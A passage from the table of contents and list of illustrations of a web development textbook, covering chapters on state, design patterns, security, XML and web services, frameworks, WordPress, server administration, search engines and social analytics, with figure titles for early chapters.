1. Chapter Objectives
2. 16.1 The Problem of State in Web Applications
3. 16.2 Passing Information via Query Strings
4. 16.3 Passing Information via the URL Path



1. 16.3.1 URL Rewriting in Apache and Linux
5. 16.4 Cookies

1. 16.4.1 How Do Cookies Work?
2. 16.4.2 Using Cookies
3. 16.4.3 Persistent Cookie Best Practices

6. 16.5 Serialization
1. 16.5.1 Application of Serialization

7. 16.6 Session State
1. 16.6.1 How Does Session State Work?
2. 16.6.2 Session Storage and Configuration

8. 16.7 HTML5 Web Storage
1. 16.7.1 Using Web Storage
2. 16.7.2 Why Would We Use Web Storage?

9. 16.8 Caching
1. 16.8.1 Page Output Caching
2. 16.8.2 Application Data Caching

10. 16.9 Chapter Summary
1. 16.9.1 Key Terms
2. 16.9.2 Review Questions
3. 16.9.3 Hands-On Practice

1. Project 1: CRM Admin
1. Difficulty Level: Basic

1. Overview
2. Instructions
3. Test

2. Project 2: Art Store
1. Difficulty Level: Intermediate

1. Overview
2. Instructions
3. Test

3. Project 3: Art Store
1. Difficulty Level: Intermediate

1. Overview
2. Instructions
3. Instructions

4. 16.9.4 References
24. 17 Web Application Design



1. Chapter Objectives
2. 17.1 Real-World Web Software Design

1. 17.1.1 Challenges in Designing Web Applications
3. 17.2 Principle of Layering

1. 17.2.1 What Is a Layer?
2. 17.2.2 Consequences of Layering
3. 17.2.3 Common Layering Schemes

4. 17.3 Software Design Patterns in the Web Context
1. 17.3.1 Adapter Pattern
2. 17.3.2 Simple Factory Pattern
3. 17.3.3 Template Method Pattern
4. 17.3.4 Dependency Injection

5. 17.4 Data and Domain Patterns
1. 17.4.1 Table Data Gateway Pattern
2. 17.4.2 Domain Model Pattern

1. Getters and Setters in Domain Objects
3. 17.4.3 Active Record Pattern

6. 17.5 Presentation Patterns
1. 17.5.1 Model-View-Controller (MVC) Pattern
2. 17.5.2 Front Controller Pattern

7. 17.6 Testing
8. 17.7 Chapter Summary

1. 17.7.1 Key Terms
2. 17.7.2 Review Questions
3. 17.7.3 Hands-On Practice

1. Project 1: Travel
1. Difficulty Level: Beginner

1. Overview
2. Instructions
3. Test

2. Project 2: Book
1. Difficulty Level: Intermediate

1. Overview
2. Instructions
3. Test

3. Project 3: Book Rep Customer Relations Management
1. Difficulty Level: Advanced



1. Overview
2. Instructions
3. Test

4. 17.7.4 References
25. 18 Security

1. Chapter Objectives
2. 18.1 Security Principles

1. 18.1.1 Information Security
1. The CIA Triad
2. Security Standards

2. 18.1.2 Risk Assessment and Management
1. Actors, Impact, Threats, and Vulnerabilities
2. Assessing Risk

3. 18.1.3 Security Policy
4. 18.1.4 Business Continuity

1. Admin Password Management
2. Backups and Redundancy
3. Geographic Redundancy
4. Stage Mock Events
5. Auditing

5. 18.1.5 Secure by Design
1. Code Reviews
2. Unit Testing
3. Pair Programming
4. Security Testing
5. Secure by Default

6. 18.1.6 Social Engineering
3. 18.2 Authentication

1. 18.2.1 Authentication Factors
1. Knowledge
2. Ownership
3. Inherence Factors

2. 18.2.2 Authentication Factors
3. 18.2.3 HTTP Authentication

1. HTTP Basic Authentication
2. HTTP Digest Authentication
3. Form-Based Authentication



4. 18.2.4 Third-Party Authentication
1. OAuth

5. 18.2.5 Authorization
4. 18.3 Cryptography

1. 18.3.1 Substitution Ciphers
1. Caesar
2. Vigenère
3. One-Time Pad
4. Modern Block Ciphers

2. 18.3.2 Public Key Cryptography
1. Diffie-Hellman Key Exchange
2. RSA

3. 18.3.3 Digital Signatures
5. 18.4 Hypertext Transfer Protocol Secure (HTTPS)

1. 18.4.1 Secure Handshakes
2. 18.4.2 Certificates and Authorities

1. Certificate Authority
2. Self-Signed Certificates

3. 18.4.3 Migrating to HTTPS from HTTP
1. Mixed Content
2. Redirects from Old Site

6. 18.5 Security Best Practices
1. 18.5.1 Data Storage

1. Secure Hash
2. Salting the Hash

2. 18.5.2 Monitor Your Systems
1. System Monitors
2. Access Monitors
3. Automated Intrusion Blocking

3. 18.5.3 Audit and Attack Thyself
7. 18.6 Common Threat Vectors

1. 18.6.1 Brute-Force Attacks
2. 18.6.2 SQL Injection

1. Sanitize Input
2. Least Possible Privileges

3. 18.6.3 Cross-Site Scripting (XSS)
1. Reflected XSS



2. Stored XSS
3. Filtering User Input
4. Escape Dangerous Content

4. 18.6.4 Insecure Direct Object Reference
5. 18.6.5 Denial of Service

1. Distributed DoS Attack (DDoS)
6. 18.6.6 Security Misconfiguration

1. Out-of-Date Software
2. Open Mail Relays
3. More Input Attacks
4. Virtual Open Mail Relay
5. Arbitrary Program Execution

8. 18.7 Chapter Summary
1. 18.7.1 Key Terms
2. 18.7.2 Review Questions
3. 18.7.3 Hands-On Practice

1. Project 1: Travel Site
1. Difficulty Level: Easy

1. Overview
2. Instructions
3. Testing

2. Project 2: Better Credential Storage
1. Difficulty Level: Intermediate

1. Overview
2. Instructions
3. Testing

3. Project 3: Any Site
1. Difficulty Level: Advanced

1. Overview
2. Instructions
3. Testing

4. 18.7.4 References
26. 19 XML Processing and Web Services

1. Chapter Objectives
2. 19.1 XML Overview

1. 19.1.1 Well-Formed XML
2. 19.1.2 Valid XML



3. 19.2 XML Processing
1. 19.2.1 XML Processing in JavaScript
2. 19.2.2 XML Processing in PHP

4. 19.3 JSON
1. 19.3.1 Using JSON in Javascript
2. 19.3.2 Using JSON in PHP

5. 19.4 Overview of Web Services
1. 19.4.1 SOAP Services
2. 19.4.2 REST Services
3. 19.4.3 An Example Web Service
4. 19.4.4 Identifying and Authenticating Service Requests

6. 19.5 Consuming Web Services in PHP
1. 19.5.1 Consuming an XML Web Service
2. 19.5.2 Consuming a JSON Web Service

7. 19.6 Creating Web Services
1. 19.6.1 Creating a JSON Web Service

8. 19.7 Interacting Asynchronously with Web Services
1. 19.7.1 Consuming Your Own Service
2. 19.7.2 Using Google Maps

9. 19.8 Chapter Summary
1. 19.8.1 Key Terms
2. 19.8.2 Review Questions
3. 19.8.3 Hands-On Practice

1. Project 1: CRM Admin
1. Difficulty Level: Basic

1. Overview
2. Instructions
3. Test

2. Project 2: Art Store
1. Difficulty Level: Advanced

1. Overview
2. Instructions
3. Test

3. Project 3: Share Your Travel Photos
1. Difficulty Level: Advanced

1. Overview
2. Instructions



3. Test
4. 19.8.4 References

27. 20 JavaScript 4: Frameworks
1. Chapter Objectives
2. 20.1 JavaScript Frameworks

1. 20.1.1 JavaScript Front-End Frameworks
2. 20.1.2 JavaScript Server Frameworks

3. 20.2 Node.js
1. 20.2.1 The Architecture of Node.js

1. Who is using Node.js?
2. 20.2.2 Working with Node.js
3. 20.2.3 Adding Express to Node.js
4. 20.2.4 Supporting WebSockets with Node

4. 20.3 MongoDB
1. 20.3.1 MongoDB Features
2. 20.3.2 MongoDB Data Model
3. 20.3.3 Working with the MongoDB Shell
4. 20.3.4 Accessing MongoDB Data in Node.js

5. 20.4 Angular
1. 20.4.1 Why AngularJS?
2. 20.4.2 Creating a Simple AngularJS Application

6. 20.5 Chapter Summary
1. 20.5.1 Key Terms
2. 20.5.2 Review Questions
3. 20.5.3 Hands-on Practice

1. Project 1: Book Rep Customer Relations Management
1. Difficulty Level: Intermediate

1. Overview
2. Instructions
3. Test

2. Project 2: Book Rep Customer Relations Management
1. Difficulty Level: Intermediate

1. Overview
2. Instructions
3. Test

3. Project 3: Book Rep Customer Relations Management
1. Difficulty Level: Advanced



1. Overview
2. Instructions
3. Test

4. 20.5.4 References
28. 21 Content Management Systems

1. Chapter Objectives
2. 21.1 Managing Websites

1. 21.1.1 Components of a Managed Website
3. 21.2 Content Management Systems

1. 21.2.1 Types of CMS
4. 21.3 CMS Components

1. 21.3.1 Post and Page Management
2. 21.3.2 WYSIWYG Editors
3. 21.3.3 Template Management
4. 21.3.4 Menu Control
5. 21.3.5 User Management and Roles
6. 21.3.6 User Roles

1. Content Creator
2. Content Publisher
3. Site Manager
4. Super Administrator
5. WordPress Roles

7. 21.3.7 Workflow and Version Control
8. 21.3.8 Asset Management
9. 21.3.9 Search

10. 21.3.10 Upgrades and Updates
5. 21.4 WordPress Technical Overview

1. 21.4.1 Installation
1. Command-Line Installation

2. 21.4.2 File Structure
1. Multiple Sites with One WordPress Installation

3. 21.4.3 WordPress Nomenclature
1. Posts and Pages
2. Templates
3. Themes
4. Widgets
5. Plugins



6. Permalinks
4. 21.4.4 Taxonomies

1. Categories
2. Tags
3. Link Categories
4. Custom Taxonomies

5. 21.4.5 WordPress Template Hierarchy
1. Custom Posts

6. 21.5 Modifying Themes
1. 21.5.1 Changing Themes in Dashboard
2. 21.5.2 Creating a Child Theme (CSS Only)
3. 21.5.3 Changing Theme Files

1. Tinkering with a Footer
7. 21.6 Customizing WordPress Templates

1. 21.6.1 WordPress Loop
2. 21.6.2 Core WordPress Classes

1. WP_Query
2. WP_User and the Current User

3. 21.6.3 Template Tags
1. General Tags
2. Author Tags
3. Comment Tags
4. Link Tags
5. Page Tags

4. 21.6.4 Creating a Page Template
5. 21.6.5 Post Tags

1. Category Tags
2. Pagination Tags

8. 21.7 Creating a Custom Post Type
1. 21.7.1 Organization
2. 21.7.2 Registering Your Post Type
3. 21.7.3 Adding Post-Specific Fields
4. 21.7.4 Saving Your Changes
5. 21.7.5 Under the Hood
6. 21.7.6 Displaying Our Post Type

1. Single-Post Template
2. Archive Page Template



3. Changing Pages Per Archive Page
9. 21.8 Writing a Plugin

1. 21.8.1 Getting Started
2. 21.8.2 Hooks, Actions, and Filters

1. Actions and Filters
2. Convert Your Page Type Template to a Plugin

3. 21.8.3 Activate Your Plugin
4. 21.8.4 Output of the Plugin
5. 21.8.5 Make It a Widget

10. 21.9 Chapter Summary
1. 21.9.1 Key Terms
2. 21.9.2 Review Questions
3. 21.9.3 Hands-On Practice

1. Project 1: Convert Your Project to WordPress
1. Difficulty Level: Intermediate

1. Overview
2. Instructions
3. Test

2. Project 2: Import an Existing Site into WordPress
1. Difficulty Level: Hard

1. Overview
2. Instructions
3. Test

3. PROJECT 3: Define a Custom Post Type for Images
1. Difficulty Level: Hard

1. Overview
2. Instructions
3. Test

4. 21.9.4 References
29. 22 Web Server Administration and Virtualization

1. Chapter Objectives
2. 22.1 Web Server-Hosting Options

1. 22.1.1 Shared Hosting
1. Simple Shared Hosting
2. Virtualized Shared Hosting

2. 22.1.2 Dedicated Hosting
3. 22.1.3 Collocated Hosting



1. In-house Hosting
4. 22.1.4 Cloud Hosting

3. 22.2 Virtualization
1. 22.2.1 Server Virtualization

1. Containers
2. 22.2.2 Cloud Virtualization

4. 22.3 Domain and Name Server Administration
1. 22.3.1 Registering a Domain Name

1. WHOIS
2. Private Registration

2. 22.3.2 Updating the Name Servers
1. Checking Name Servers

3. 22.3.3 DNS Record Types
1. Mapping Records
2. Mail Records
3. Authoritative Records
4. Validation Records

4. 22.3.4 Reverse DNS
5. 22.4 Linux and Apache Configuration

1. 22.4.1 Configuration
2. 22.4.2 Daemons

1. Managing Daemons
2. Run Levels
3. Applying Configuration Changes

3. 22.4.3 Connection Management
1. Ports

4. 22.4.4 Data Compression
5. 22.4.5 Encryption and SSL
6. 22.4.6 Managing File Ownership and Permissions

6. 22.5 Apache Request and Response Management
1. 22.5.1 Managing Multiple Domains on One Web Server
2. 22.5.2 Handling Directory Requests
3. 22.5.3 Responding to File Requests
4. 22.5.4 URL Redirection

1. Public Redirection
2. Internal Redirection
3. Conditional URL Rewriting



5. 22.5.5 Managing Access with .htaccess
6. 22.5.6 Server Caching

7. 22.6 Web Monitoring
1. 22.6.1 Internal Monitoring

1. Apache Logging
2. Log Rotation

2. 22.6.2 External Monitoring
8. 22.7 Chapter Summary

1. 22.7.1 Key Terms
2. 22.7.2 Review Questions
3. 22.7.3 Hands-On Practice

1. Project 1: Register a Domain and Setup Hosting
1. Difficulty Level: Easy

1. Overview
2. Instructions
3. Testing

2. Project 2: Configure DNS for a Mail Server
1. Difficulty Level: Intermediate

1. Overview
2. Instructions
3. Testing

4. 22.7.4 References
30. 23 Search Engines

1. Chapter Objectives
2. 23.1 The History and Anatomy of Search Engines

1. 23.1.1 Before Google
2. 23.1.2 Search Engine Overview

3. 23.2 Web Crawlers and Scrapers
1. 23.2.1 Robots Exclusion Standard
2. 23.2.2 Scrapers

1. URL Scrapers
2. Email Scrapers
3. Word Scrapers

4. 23.3 Indexing and Reverse Indexing
5. 23.4 PageRank and Result Order
6. 23.5 Measures of Similarity

1. 23.5.1 Comparing Words



1. Similar Sounds with Different Spellings
2. Comparing Strings
3. Did You Mean?

2. 23.5.2 Comparing Larger Dictionaries
7. 23.6 White-Hat Search Engine Optimization

1. 23.6.1 Title
2. 23.6.2 Meta Tags

1. Http-Equiv
2. Description
3. Robots

3. 23.6.3 URLs
1. Bad SEO URLs
2. Descriptive Path Components
3. Descriptive File Names or Folders
4. Apache Redirection

4. 23.6.4 Site Design
1. Website Structure

5. 23.6.5 Sitemaps
6. 23.6.6 Anchor Text
7. 23.6.7 Images
8. 23.6.8 Content

8. 23.7 Black-Hat SEO
1. 23.7.1 Content Spamming

1. Keyword Stuffing
2. Hidden Content
3. Paid Links
4. Doorway Pages

2. 23.7.2 Link Spam
1. Hidden Links
2. Comment Spam
3. Link Farms
4. Link Pyramids
5. Google Bombing

3. 23.7.3 Other Spam Techniques
1. Google Bowling
2. Cloaking
3. Duplicate Content



9. 23.8 Chapter Summary
1. 23.8.1 Key Terms
2. 23.8.2 Review Questions
3. 23.8.3 Hands-On Exercises

1. Project 1: Optimize the Art Store Site for Search Engines
1. Difficulty Level: Easy

1. Overview
2. Instructions
3. Test

2. Project 2: Define a Sitemap for Your Travel Photo site
1. Difficulty Level: Intermediate

1. Overview
2. Instructions
3. Test

3. Project 3: Crawl Your Own Website
1. Difficulty Level: Advanced

1. Overview
2. Instructions

4. 23.8.4 References
31. 24 Social Networks and Analytics

1. Chapter Objectives
2. 24.1 Social Networks

1. 24.1.1 How Did We Get Here?
1. Early Digital Networking
2. The Evolution of Social Networks

2. 24.1.2 Common Characteristics
1. Free Registration
2. User Profile Page
3. Manage Contacts
4. Beyond the Portal API
5. Monetization

3. 24.2 Social Network Integration
1. 24.2.1 Basic Social Media Presence

1. Home Pages
2. Links and Logos
3. URL Shortening

2. 24.2.2 Facebook's Social Plugins



1. Register and Plugin
2. Like Button
3. XFBML Version
4. Follow Button
5. Comment Stream

3. 24.2.3 Open Graph
1. Open Graph Meta Tags

4. 24.2.4 Google's Plugins
1. The +1 Button
2. The Google Badge
3. Snippets

5. 24.2.5 Twitter's Widgets
1. Tweet This Button
2. Follow Me Button
3. Twitter Timeline

6. 24.2.6 Advanced Social Network Integration
4. 24.3 Monetizing Your Site with Ads

1. 24.3.1 Web Advertising 101
1. Ad Networks
2. Ad Types
3. Creating Ads

2. 24.3.2 Web Advertising Economy
1. Web Advertising Commodities
2. Web Commodity Markets

5. 24.4 Marketing Campaigns
1. 24.4.1 Email Marketing

1. What's Allowed
2. Automated Email Scripts
3. Tracking Email Campaigns
4. Scheduled Mail Campaigns

2. 24.4.2 Physical World Marketing
1. QR Codes
2. Tracking Physical Campaigns

6. 24.5 Search Engine Webmaster Support Tools
1. 24.5.1 Search Engine Webmaster Tools

7. 24.6 Analytics
1. 24.6.1 Metrics



2. 24.6.2 Internal Analytics
3. 24.6.3 Third-Party Analytics

1. Flow Analysis
2. In-Page Analytics

8. 24.7 Chapter Summary
1. 24.7.1 Key Terms
2. 24.7.2 Review Questions
3. 24.7.3 Hands-On Practice

1. Project 1: Set Up a Social Media Presence
1. Difficulty Level: Easy

1. Overview
2. Instructions
3. Test

2. Project 2: Integrate with Social Widgets
1. Difficulty Level: Intermediate

1. Overview
2. Instructions
3. Test

3. Project 3: Book Rep Customer Relations Management
1. Difficulty Level: Hard

1. Overview
2. Instructions
3. Test

4. Project 4: Monetize Your Site
1. Difficulty Level: Hard

1. Overview
2. Instructions
3. Test

4. 24.7.4 References
32. Index

1. A
2. B
3. C
4. D
5. E
6. F
7. G



8. H
9. I

10. J
11. K
12. L
13. M
14. N
15. O
16. P
17. Q
18. R
19. S
20. T
21. U
22. V
23. W
24. X
25. Y
26. Z

33. Credits

List of Illustrations
1. Figure 1.1 The web development ecosystem
2. Figure 1.2 The web as a subset of the Internet
3. Figure 1.3 Telephone network as example of circuit switching
4. Figure 1.4 Internet network as example of packet switching
5. Figure 1.5 Growth in Internet hosts/servers based on data from the

Internet Systems Consortium5
6. Figure 1.6 Intranet versus Internet
7. Figure 1.7 Static website
8. Figure 1.8 Dynamic Server-Side website
9. Figure 1.9 Dynamic websites today

10. Figure 1.10 Request-response loop
11. Figure 1.11 Peer-to-peer model
12. Figure 1.12 Different types of server



13. Figure 1.13 Server farm
14. Figure 1.14 Sample server rack
15. Figure 1.15 Hypothetical data center
16. Figure 1.16 Internet hardware from the home computer to the local

Internet provider
17. Figure 1.17 Simplified routing tables
18. Figure 1.18 Connecting different networks within and between countries
19. Figure 1.19 National and regional networks using Internet exchange

points
20. Figure 1.20 Hypothetical Internet exchange point
21. Figure 1.21 IXPs and data centers
22. Figure 1.22 Undersea fiber optic cables
23. Figure 1.23 Web development roles and skills
24. Figure 1.24 Web development companies
25. Figure 1.25 The Github website
26. Figure 2.1 Four-layer network model
27. Figure 2.2 IP addresses and the Internet
28. Figure 2.3 IPv4 and IPv6 comparison
29. Figure 2.4 TCP packets
30. Figure 2.5 A screenshot of FileZilla connecting to a remote server
31. Figure 2.6 DNS overview
32. Figure 2.7 Domain levels
33. Figure 2.8 Domain name registration process
34. Figure 2.9 Domain name address resolution process
35. Figure 2.10 URL components
36. Figure 2.11 Query string components
37. Figure 2.12 HTTP illustrated
38. Figure 2.13 User-Agent components
39. Figure 2.14 GET versus POST requests
40. Figure 2.15 Browser parsing HTML and making subsequent requests
41. Figure 2.16 Distribution of load times
42. Figure 2.17 Illustration of browser caching using cached resources
43. Figure 3.1 Sample ad-hoc markup languages
44. Figure 3.2 W3C markup validation service
45. Figure 3.3 The parts of an HTML element
46. Figure 3.4 HTML document outline
47. Figure 3.5 Correct and incorrect ways of nesting HTML elements



48. Figure 3.6 Visualizing structure
49. Figure 3.7 One of the simplest possible HTML5 documents
50. Figure 3.8 Structure elements of an HTML5 document
51. Figure 3.9 Sample HTML5 document
52. Figure 3.10 Figure 3.9 in the browser
53. Figure 3.11 Example document outlines
54. Figure 3.12 Alternate CSS stylings of the same heading
55. Figure 3.13 Two parts of a link
56. Figure 3.14 Different link destinations
57. Figure 3.15 Using <div> elements to create a complex layout
58. Figure 3.16 Example site directory tree
59. Figure 3.17 The <img> element
60. Figure 3.18 List elements and their default rendering
61. Figure 3.19 Sample <div>-based XHTML layout (with HTML5

equivalents)
62. Figure 3.20 Sample layout using new HTML5 semantic structure

elements
63. Figure 3.21 The figure and figcaption elements in the browser
64. Figure 3.22 The details and summary elements
65. Figure 3.23 A WYSIWYG editor [Adobe Dreamweaver]
66. Figure 3.24 A Code Editor [Sublime Text]
67. Figure 3.25 A full IDE [Eclipse]
68. Figure 3.26 Cloud-Based Environment [CodeAnywhere]
69. Figure 3.27 Code Playground [CodePen]
70. Figure 3.28 Completed Project 1
71. Figure 3.29 Completed Project 2
72. Figure 3.30 Completed Project 3
73. Figure 4.1 CSS-based responsive design (site by Peerapong Pulpipatnan

on ThemeForest.net)
74. Figure 4.2 CSS syntax
75. Figure 4.3 Document outline/tree
76. Figure 4.4 Class selector example in browser
77. Figure 4.5 Id selector example in browser
78. Figure 4.6 Attribute selector example in browser
79. Figure 4.7 Syntax of a descendant selection
80. Figure 4.8 Contextual selectors in action
81. Figure 4.9 Inheritance



82. Figure 4.10 More inheritance
83. Figure 4.11 Using the inherit value
84. Figure 4.12 Specificity
85. Figure 4.13 Specificity algorithm
86. Figure 4.14 Location
87. Figure 4.15 CSS box model
88. Figure 4.16 Background repeat
89. Figure 4.17 Background position
90. Figure 4.18 Borders, margins, and padding provide element spacing and

differentiation
91. Figure 4.19 Collapsing vertical margins
92. Figure 4.20 CSS TRBL (Trouble) shortcut
93. Figure 4.21 Calculating an element's true size
94. Figure 4.22 Limitations of height property
95. Figure 4.23 Overflow property
96. Figure 4.24 Box sizing via percents
97. Figure 4.25 Inspecting CSS using developer tools within modern

browsers
98. Figure 4.26 Specifying the font family
99. Figure 4.27 The different font families

100. Figure 4.28 Using percents and em units for font sizes
101. Figure 4.29 Complications in calculating percents and em units
102. Figure 4.30 Using rem units
103. Figure 4.31 Using Google Fonts
104. Figure 4.32 The shadow properties
105. Figure 4.33 Completed Project 1
106. Figure 4.34 Completed Project 2
107. Figure 4.35 Completed Project 3
108. Figure 5.1 Examples of tables
109. Figure 5.2 Basic table structure
110. Figure 5.3 Adding table headings
111. Figure 5.4 Spanning columns
112. Figure 5.5 Spanning rows
113. Figure 5.6 Additional table elements
114. Figure 5.7 Example of using tables for layout
115. Figure 5.8 Styling table borders
116. Figure 5.9 An example boxed table



117. Figure 5.10 Hover effect and zebra stripes
118. Figure 5.11 Sample HTML form
119. Figure 5.12 How forms work
120. Figure 5.13 Query string data and its connection to the form elements
121. Figure 5.14 URL encoding
122. Figure 5.15 GET versus POST
123. Figure 5.16 Text input controls
124. Figure 5.17 Using the pattern attribute
125. Figure 5.18 Using the <datalist> element
126. Figure 5.19 Using the <select> element
127. Figure 5.20 The value attribute
128. Figure 5.21 Radio buttons
129. Figure 5.22 Checkbox buttons
130. Figure 5.23 Example button elements
131. Figure 5.24 File upload control (in Chrome)
132. Figure 5.25 Number and range input controls
133. Figure 5.26 Displaying numbers using the <meter> and <progress>

elements
134. Figure 5.27 Color input control
135. Figure 5.28 Date and time controls
136. Figure 5.29 Associating labels and input elements
137. Figure 5.30 Microformats
138. Figure 5.31 How search engines use semantic information
139. Figure 5.32 Completed Project 1
140. Figure 5.33 Completed Project 2
141. Figure 5.34 Completed Project 3
142. Figure 6.1 Pixels versus halftones
143. Figure 6.2 Raster images
144. Figure 6.3 Raster editors
145. Figure 6.4 Vector images
146. Figure 6.5 Resizing vector images versus raster images
147. Figure 6.6 RGB color model
148. Figure 6.7 Picking RGB colors
149. Figure 6.8 CMYK color model
150. Figure 6.9 Color gamut
151. Figure 6.10 HSL color model
152. Figure 6.11 Opacity settings



153. Figure 6.12 Specifying the opacities shown in Figure 6.11 using CSS3
154. Figure 6.13 Example CSS gradients
155. Figure 6.14 Artist color wheel
156. Figure 6.15 Color relationships
157. Figure 6.16 Online color scheme tools
158. Figure 6.17 Visualizing image color depth
159. Figure 6.18 Dithering
160. Figure 6.19 Interpolating
161. Figure 6.20 Enlarging versus reduction
162. Figure 6.21 Resizing artwork in the browser versus resizing originals
163. Figure 6.22 Interpolation algorithms
164. Figure 6.23 Effect of display resolution versus monitor size
165. Figure 6.24 Pixels in high-density displays
166. Figure 6.25 JPEG file format
167. Figure 6.26 JPEG artifacts
168. Figure 6.27 JPEG and art work
169. Figure 6.28 GIF file format
170. Figure 6.29 Run-length compression
171. Figure 6.30 Color palette
172. Figure 6.31 Optimizing GIF images
173. Figure 6.32 GIF transparency
174. Figure 6.33 GIF transparency and anti-aliasing
175. Figure 6.34 PNG transparency
176. Figure 6.35 SVG example
177. Figure 6.36 Media encoding and containers
178. Figure 6.37 Using the <video> element
179. Figure 6.38 Using the <audio> element
180. Figure 6.39 Completed Project 1
181. Figure 6.40 Completed Project 2
182. Figure 6.41 Completed Project 3
183. Figure 7.1 Block-level elements
184. Figure 7.2 Inline elements
185. Figure 7.3 Block and inline elements together
186. Figure 7.4 Relative positioning
187. Figure 7.5 Absolute positioning
188. Figure 7.6 Absolute position is relative to nearest positioned ancestor

container



189. Figure 7.7 Z-index
190. Figure 7.8 Fixed position
191. Figure 7.9 CSS3 transforms
192. Figure 7.10 CSS3 perspective
193. Figure 7.11 Floating an element
194. Figure 7.12 Floating to the containing block
195. Figure 7.13 Margins do not collapse on floated block-level elements
196. Figure 7.14 Problems with multiple floats
197. Figure 7.15 Using the clear property
198. Figure 7.16 Disappearing parent containers
199. Figure 7.17 Using the overflow property
200. Figure 7.18 Using relative and absolute positioning
201. Figure 7.19 Using the display property
202. Figure 7.20 Comparing display to visibility
203. Figure 7.21 Using hover with display
204. Figure 7.22 Creating two-column layout, step one
205. Figure 7.23 Creating two-column layout, step two
206. Figure 7.24 Creating a three-column layout
207. Figure 7.25 Creating a three-column layout with nested floats
208. Figure 7.26 Three-column layout with positioning
209. Figure 7.27 Problems with absolute positioning
210. Figure 7.28 Solution to footer problem
211. Figure 7.29 Using flexbox to simplify layout
212. Figure 7.30 The flexbox parent (container) properties
213. Figure 7.31 The flexbox child (item) properties
214. Figure 7.32 Fixed layouts
215. Figure 7.33 Problems with fixed layouts
216. Figure 7.34 Liquid layouts
217. Figure 7.35 Responsive layouts
218. Figure 7.36 Mobile scaling (without viewport)
219. Figure 7.37 Setting the viewport
220. Figure 7.38 Sample media query
221. Figure 7.39 Media queries in action
222. Figure 7.40 Responsive design patterns
223. Figure 7.41 The <picture> element and responsive design
224. Figure 7.42 CSS3 filters in action
225. Figure 7.43 A simple background-color transition on a button



226. Figure 7.44 A sliding menu transition
227. Figure 7.45 Transitioning several properties
228. Figure 7.46 Transitions versus animations
229. Figure 7.47 Animation example
230. Figure 7.48 Examples using just built-in Bootstrap and Materials Lite

classes
231. Figure 7.49 Using a grid in print design
232. Figure 7.50 Blocks, elements, and modifiers
233. Figure 7.51 Sample style guides
234. Figure 7.52 Using a CSS preprocessor
235. Figure 7.53 Using a CSS preprocessor
236. Figure 7.54 GUI alternative to using a CSS preprocessor
237. Figure 7.55 Completed Project 1
238. Figure 7.56 Completed Project 2
239. Figure 7.57 Completed Project 3
240. Figure 8.1 Downloading and executing a client-side JavaScript script
241. Figure 8.2 Adobe Flash
242. Figure 8.3 Java applets
243. Figure 8.4 JavaScript in contemporary software development
244. Figure 8.5 Surfing the web with Lynx
245. Figure 8.6 WebIE, browser for the visually impaired
246. Figure 8.7 Variable declaration and assignment
247. Figure 8.8 Primitive types versus reference types
248. Figure 8.9 Chrome JavaScript console
249. Figure 8.10 Fun with the document.write() method
250. Figure 8.11 The conditional assignment operator
251. Figure 8.12 For loop
252. Figure 8.13 JavaScript array with indexes and values illustrated
253. Figure 8.14 Function hoisting in JavaScript
254. Figure 8.15 Using a callback function
255. Figure 8.16 Passing a function definition to another function
256. Figure 8.17 Contextual meaning of the this keyword
257. Figure 8.18 Local versus global scope
258. Figure 8.19 Visualizing scope
259. Figure 8.20 Visualizing the problem
260. Figure 8.21 Visualizing scope again
261. Figure 8.22 What happens with a constructor call of a function



262. Figure 8.23 Illustrating the memory impact of function methods
263. Figure 8.24 Using the prototype property
264. Figure 8.26 Completed Project 1
265. Figure 8.27 Completed Project 2
266. Figure 8.28 Completed Project 3
267. Figure 9.1 DOM tree
268. Figure 9.2 DOM nodes
269. Figure 9.3 Using the getElement() selection methods
270. Figure 9.4 Using querySelector and querySelectorAll selection methods
271. Figure 9.5 Manipulating the CSS classes of an element
272. Figure 9.6 DOM family relations
273. Figure 9.7 Visualizing the DOM modification
274. Figure 9.8 Debugging within the FireFox browser
275. Figure 9.9 Evaluating JavaScript performance in the Chrome browser
276. Figure 9.10 JavaScript linters
277. Figure 9.11 Using inline hooks
278. Figure 9.12 Visualizing event propagation
279. Figure 9.13 Responding to the focus and blur events
280. Figure 9.14 Responding to the change events
281. Figure 9.15 Properties of a select list
282. Figure 9.16 Normal HTTP request-response loop
283. Figure 9.17 Normal HTTP request-response loop, take two
284. Figure 9.18 Asynchronous data requests
285. Figure 9.19 Finished project 1
286. Figure 9.20 Finished project 2
287. Figure 9.21 Finished project 3
288. Figure 10.1 Comparison of the most popular JavaScript frameworks

(data courtesy of BuiltWith.com)
289. Figure 10.2 Illustration of some jQuery selectors and the HTML being

selected
290. Figure 10.3 An illustration of jQuery's content filter selector
291. Figure 10.4 Binding and unbinding events
292. Figure 10.5 Comparing methods for adding content
293. Figure 10.6 Illustration of the show() animation using the icon from

openiconlibrary . sourceforge.net
294. Figure 10.7 Illustration of a fadeIn() animation
295. Figure 10.8 Using the slide functions



296. Figure 10.9 Using the animate function
297. Figure 10.10 Visualization of the linear and swing easing functions
298. Figure 10.11 Illustration of an animation with step calls for numeric

CSS properties over time t
299. Figure 10.12 UML sequence diagram of an AJAX request
300. Figure 10.13 Illustration of a synchronous implementation of the server

time web page
301. Figure 10.14 Illustration of an AJAX implementation of the server time

web page
302. Figure 10.15 Illustration of a list being updated asynchronously
303. Figure 10.16 Example jQuery page with asynchronous get()
304. Figure 10.17 Sequence diagram depicting how the jqXHR object reacts

to different response codes
305. Figure 10.18 Posting a file using FormData
306. Figure 10.19 Example of graceful degradation
307. Figure 10.20 Site with progressive enhancements
308. Figure 10.21 Project 1
309. Figure 10.22 Project 2
310. Figure 10.23 Project 3
311. Figure 11.1 Comparison of (a) client script execution and (b) server

script execution
312. Figure 11.2 Server scripts have access to many resources
313. Figure 11.3 Web development technologies
314. Figure 11.4 Market share of web development environments
315. Figure 11.5 Linux, Apache, and PHP together
316. Figure 11.6 Apache modules and PHP
317. Figure 11.7 Multi-threaded versus multi-process
318. Figure 11.8 Zend Engine
319. Figure 11.9 Hosting a web server locally
320. Figure 11.10 Running PHP server from the command line
321. Figure 11.11 Using XAMPP
322. Figure 11.12 Online PHP development environments
323. Figure 11.13 More complicated concatenation examples explained
324. Figure 11.14 Illustration of components in a printf statement and output
325. Figure 11.15 The include files
326. Figure 11.16 Pass-by-value versus pass-by-reference
327. Figure 11.17 Completed Project 1



328. Figure 11.18 Completed Project 2
329. Figure 11.19 Completed Project 3
330. Figure 12.1 Visualization of a key-value array
331. Figure 12.2 Explicitly assigning keys to array elements
332. Figure 12.3 Array with strings as keys and integers as values
333. Figure 12.4 Visualizing multidimensional arrays
334. Figure 12.5 Illustration of flow from HTML, to request, to PHP's

$_GET array
